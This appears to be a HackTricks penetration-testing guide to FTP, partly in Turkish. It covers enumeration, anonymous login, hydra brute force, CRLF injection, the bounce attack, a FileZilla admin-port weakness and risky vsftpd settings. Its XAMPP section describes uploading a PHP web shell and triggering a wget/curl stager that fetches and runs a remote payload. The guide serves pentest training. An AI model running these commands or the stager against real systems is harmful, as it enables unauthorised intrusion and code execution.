21 - Pentesting FTP

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Temel Bilgiler

The File Transfer Protocol (FTP), bir bilgisayar ağı üzerinde sunucu ile istemci arasında dosya aktarımı için kullanılan standart bir protokoldür.
Bu bir düz metin protokolüdür ve yeni satır karakteri 0x0d 0x0a kullanır; bu yüzden bazen telnet kullanarak bağlanmanız veya nc -C kullanmanız gerekir.

Varsayılan Port: 21

PORT   STATE SERVICE
21/tcp open  ftp

Bağlantılar (Active & Passive)

In Active FTP the FTP client first initiates the control connection from its port N to FTP Servers command port – port 21. The client then listens to port N+1 and sends the port N+1 to FTP Server. FTP Server then initiates the data connection, from its port M to the port N+1 of the FTP Client.

Ancak, eğer FTP Client’ın dışarıdan gelen veri bağlantılarını kontrol eden bir firewall yapılandırması varsa, Active FTP sorun oluşturabilir. Bu durumda uygulanabilir bir çözüm Passive FTP’dir.

In Passive FTP, the client initiates the control connection from its port N to the port 21 of FTP Server. After this, the client issues a passv comand. The server then sends the client one of its port number M. And the client initiates the data connection from its port P to port M of the FTP Server.

Source: https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/

Bağlantı hata ayıklama

The FTP commands debug and trace can be used to see how is the communication occurring.

Enumeration

nc -vn <IP> 21
openssl s_client -connect crossfit.htb:21 -starttls ftp #Get certificate if any

starttls kullanarak FTP’ye bağlan

lftp
lftp :~> set ftp:ssl-force true
lftp :~> set ssl:verify-certificate no
lftp :~> connect 10.10.10.208
lftp 10.10.10.208:~> login
Usage: login <user|URL> [<pass>]
lftp 10.10.10.208:~> login username Password

Unauth enum

nmap ile

sudo nmap -sV -p21 -sC -A 10.10.10.10

FTP sunucusu hakkında bazı bilgileri almak için HELP ve FEAT komutlarını kullanabilirsiniz:

HELP
214-The following commands are recognized (* =>'s unimplemented):
214-CWD     XCWD    CDUP    XCUP    SMNT*   QUIT    PORT    PASV
214-EPRT    EPSV    ALLO*   RNFR    RNTO    DELE    MDTM    RMD
214-XRMD    MKD     XMKD    PWD     XPWD    SIZE    SYST    HELP
214-NOOP    FEAT    OPTS    AUTH    CCC*    CONF*   ENC*    MIC*
214-PBSZ    PROT    TYPE    STRU    MODE    RETR    STOR    STOU
214-APPE    REST    ABOR    USER    PASS    ACCT*   REIN*   LIST
214-NLST    STAT    SITE    MLSD    MLST
214 Direct comments to root@drei.work

FEAT
211-Features:
PROT
CCC
PBSZ
AUTH TLS
MFF modify;UNIX.group;UNIX.mode;
REST STREAM
MLST modify*;perm*;size*;type*;unique*;UNIX.group*;UNIX.mode*;UNIX.owner*;
UTF8
EPRT
EPSV
LANG en-US
MDTM
SSCN
TVFS
MFMT
SIZE
211 End

STAT
#Info about the FTP server (version, configs, status...)

Anonim giriş

anonymous : anonymous
_anonymous :
_ftp : ftp

ftp <IP>
>anonymous
>anonymous
>ls -a # List all files (even hidden) (yes, they could be hidden)
>binary #Set transmission to binary instead of ascii
>ascii #Set transmission to ascii instead of binary
>bye #exit

Brute force

Burada varsayılan ftp kimlik bilgilerini içeren güzel bir liste bulabilirsiniz: https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt

Otomatik

Anon login ve bounce FTP kontrolleri, varsayılan olarak nmap tarafından -sC seçeneği ile yapılır veya:

nmap --script ftp-* -p 21 <ip>

Tarayıcı bağlantısı

Bir FTP sunucusuna bir tarayıcı (ör. Firefox) kullanarak şu şekilde bir URL ile bağlanabilirsiniz:

ftp://anonymous:anonymous@10.10.10.98

Dikkat edin ki eğer bir web uygulaması kullanıcı tarafından kontrol edilen veriyi doğrudan bir FTP sunucusuna gönderiyorsa, çift URL encode edilmiş %0d%0a (çift URL encode halinde bu %250d%250a) baytlarını göndererek FTP sunucusunun keyfi işlemler gerçekleştirmesini sağlayabilirsiniz. Bu olası keyfi işlemlerden biri, kullanıcı kontrollü bir sunucudan içerik indirmek, port taraması yapmak veya diğer düz metin tabanlı servislerle (ör. http) iletişim kurmaya çalışmaktır.

FTP’den tüm dosyaları indir

wget -m ftp://anonymous:anonymous@10.10.10.98 #Donwload all
wget -m --no-passive ftp://anonymous:anonymous@10.10.10.98 #Download all

Eğer user/password’ınız özel karakter içeriyorsa, following command kullanılabilir:

wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/

FTP root’in webroot’e eşlenmesi (XAMPP)

  • XAMPP/ProFTPD sıklıkla FTP root’u /opt/lampp/htdocs ile eşler, bu yüzden daemon veya nobody gibi service account’larda zayıf creds olması PHP web shell gibi bir dosyayı doğrudan servis edilen webroot’a yüklemenize izin verir.
  • Yükledikten sonra shell üzerinden mimariye duyarlı bir download/exec stager tetikleyin, örneğin: webshell.php?dmc=(wget -qO - http://<compromised_host_ip>/.x/?x=x86 || curl http://<compromised_host_ip>/.x/?x=x86), bu checksum-validated bir payload indirir, kaydeder (ör. init_start), chmod +x yapar ve çalıştırır.
  • Eğer mevcut dizin yazılabilir/çalıştırılabilir değilse, stager /tmp’ye geri döner; bu yüzden yükleme sonrası web yollarını ve dosya sistemi izinlerini test edin.

Some FTP commands

  • USER username
  • PASS password
  • HELP Sunucu hangi komutların desteklendiğini belirtir
  • PORT 127,0,0,1,0,80 Bu, FTP sunucusuna 127.0.0.1 IP’si ve 80 portu ile bir bağlantı kurmasını gösterir (5. karakteri “0” olarak koymanız ve 6. karakteri desimal port olarak girmeniz veya portu ifade etmek için 5. ve 6.’yı hex olarak kullanmanız gerekir).
  • EPRT |2|127.0.0.1|80| Bu, FTP sunucusuna IP 127.0.0.1 ve port 80 ile bir TCP bağlantısı (“2” ile belirtilir) kurmasını söyler. Bu komut IPv6’yı destekler.
  • LIST Mevcut klasördeki dosya listesini gönderir
  • LIST -R Yineleyerek listele (sunucu izin veriyorsa)
  • APPE /path/something.txt Bu, FTP’ye pasif bir bağlantıdan veya bir PORT/EPRT bağlantısından alınan veriyi bir dosyaya kaydetmesini söyler. Eğer dosya varsa, veriyi ekler.
  • STOR /path/something.txt APPE gibi ama dosyaların üzerine yazar
  • STOU /path/something.txt APPE gibi, ama dosya varsa hiçbir şey yapmaz
  • RETR /path/to/file Pasif veya port bağlantısı kurulmalıdır. Ardından FTP sunucusu belirtilen dosyayı o bağlantı üzerinden gönderir
  • REST 6 Bu, sunucuya bir dahaki RETR gönderiminde 6. byte’tan başlamasını söyler
  • TYPE i Transferi binary olarak ayarlar
  • PASV Bu, bir pasif bağlantı açar ve kullanıcının nereye bağlanabileceğini bildirir
  • PUT /tmp/file.txt Belirtilen dosyayı FTP’ye yükle

FTPBounce attack

Bazı FTP sunucuları PORT komutunu kabul eder. Bu komut, sunucuya başka bir FTP sunucusuna belirli bir portta bağlanmasını bildirmek için kullanılabilir. Bunu kullanarak bir FTP sunucusu aracılığıyla bir host’un hangi portlarının açık olduğunu tarayabilirsiniz.

Learn here how to abuse a FTP server to scan ports.

Ayrıca bu davranışı, bir FTP sunucusunun diğer protokollerle etkileşime girmesi için suistimal edebilirsiniz. Bir HTTP isteği içeren bir dosya yükleyip savunmasız FTP sunucusunun bunu rastgele bir HTTP sunucusuna göndermesini sağlayabilirsiniz (belki yeni bir admin user eklemek için?) veya bir FTP isteği yükleyip savunmasız FTP sunucusunun farklı bir FTP sunucusundan dosya indirmesini sağlayabilirsiniz.
Teori basittir:

  1. İsteği (bir text dosyasının içinde) savunmasız sunucuya yükleyin. Başka bir HTTP veya FTP sunucusuyla konuşmak istiyorsanız satırlardaki 0x0d 0x0a değerlerini değiştirmeniz gerektiğini unutmayın
  2. Göndermek istemediğiniz karakterlerden kaçınmak için REST X kullanın (belki isteği dosyanın içine koymak için başta bir image header koymanız gerekiyordu)
  3. Rastgele sunucu ve servise bağlanmak için PORT kullanın
  4. Kaydedilmiş isteği sunucuya göndermek için RETR kullanın.

Bunun büyük olasılıkla Socket not writable gibi bir hata vereceğini söyleyebiliriz çünkü bağlantı RETR ile veriyi gönderecek kadar uzun sürmeyebilir. Bunu önlemek için denenebilecekler:

  • Eğer bir HTTP isteği gönderiyorsanız, aynı isteği ardışık olarak tekrarlayın en az ~0.5MB olacak şekilde. Mesela:

  • İsteği protokole göre “junk” veri ile doldurmaya çalışın (FTP ile konuşuyorsanız belki sadece gereksiz komutlar veya dosyayı elde etmek için RETR komutunu tekrarlamak)
  • Sadece isteği çok sayıda null karakter veya diğerleriyle doldurun (satırlara bölünmüş veya bölünmemiş şekilde)

Her durumda, burada eski bir örnek: bir FTP sunucusunu farklı bir FTP sunucusundan dosya indirmek için nasıl suistimal edileceği hakkında.

Filezilla Server Vulnerability

FileZilla genellikle FileZilla-Server için yerel bir Administrative service’e bind olur (port 14147). Eğer makinenizden bu porta erişim sağlayacak bir tunnel oluşturabilirseniz, blank password kullanarak ona bağlanabilir ve FTP servisi için yeni bir user oluşturabilirsiniz.

Konfigürasyon dosyaları

ftpusers
ftp.conf
proftpd.conf
vsftpd.conf

Post-Exploitation

The default configuration of vsFTPd can be found in /etc/vsftpd.conf. In here, you could find some dangerous settings:

  • anonymous_enable=YES
  • anon_upload_enable=YES
  • anon_mkdir_write_enable=YES
  • anon_root=/home/username/ftp - Anonim kullanıcılar için dizin.
  • chown_uploads=YES - Anonim olarak yüklenen dosyaların sahipliğini değiştirir.
  • chown_username=username - Anonim olarak yüklenen dosyaların sahipliğinin verildiği kullanıcı.
  • local_enable=YES - Yerel kullanıcıların giriş yapmasına izin verir.
  • no_anon_password=YES - Anonim kullanıcıdan parola istenmez.
  • write_enable=YES - Aşağıdaki komutlara izin verir: STOR, DELE, RNFR, RNTO, MKD, RMD, APPE ve SITE

Shodan

  • ftp
  • port:21

HackTricks Otomatik Komutlar

Protocol_Name: FTP    #Protocol Abbreviation if there is one.
Port_Number:  21     #Comma separated if there is more than one.
Protocol_Description: File Transfer Protocol          #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for FTP
Note: |
Anonymous Login
-bi     <<< so that your put is done via binary

wget --mirror 'ftp://ftp_user:UTDRSCH53c"$6hys@10.10.10.59'
^^to download all dirs and files

wget --no-passive-ftp --mirror 'ftp://anonymous:anonymous@10.10.10.98'
if PASV transfer is disabled

https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-ftp/index.html

Entry_2:
Name: Banner Grab
Description: Grab FTP Banner via telnet
Command: telnet -n {IP} 21

Entry_3:
Name: Cert Grab
Description: Grab FTP Certificate if existing
Command: openssl s_client -connect {IP}:21 -starttls ftp

Entry_4:
Name: nmap ftp
Description: Anon login and bounce FTP checks are performed
Command: nmap --script ftp-* -p 21 {IP}

Entry_5:
Name: Browser Connection
Description: Connect with Browser
Note: ftp://anonymous:anonymous@{IP}

Entry_6:
Name: Hydra Brute Force
Description: Need Username
Command: hydra -t 1 -l {Username} -P {Big_Passwordlist} -vV {IP} ftp

Entry_7:
Name: consolesless mfs enumeration ftp
Description: FTP enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/ftp/anonymous; set RHOSTS {IP}; set RPORT 21; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ftp/ftp_version; set RHOSTS {IP}; set RPORT 21; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ftp/bison_ftp_traversal; set RHOSTS {IP}; set RPORT 21; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ftp/colorado_ftp_traversal; set RHOSTS {IP}; set RPORT 21; run; exit' &&  msfconsole -q -x 'use auxiliary/scanner/ftp/titanftp_xcrc_traversal; set RHOSTS {IP}; set RPORT 21; run; exit'

Kaynaklar

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin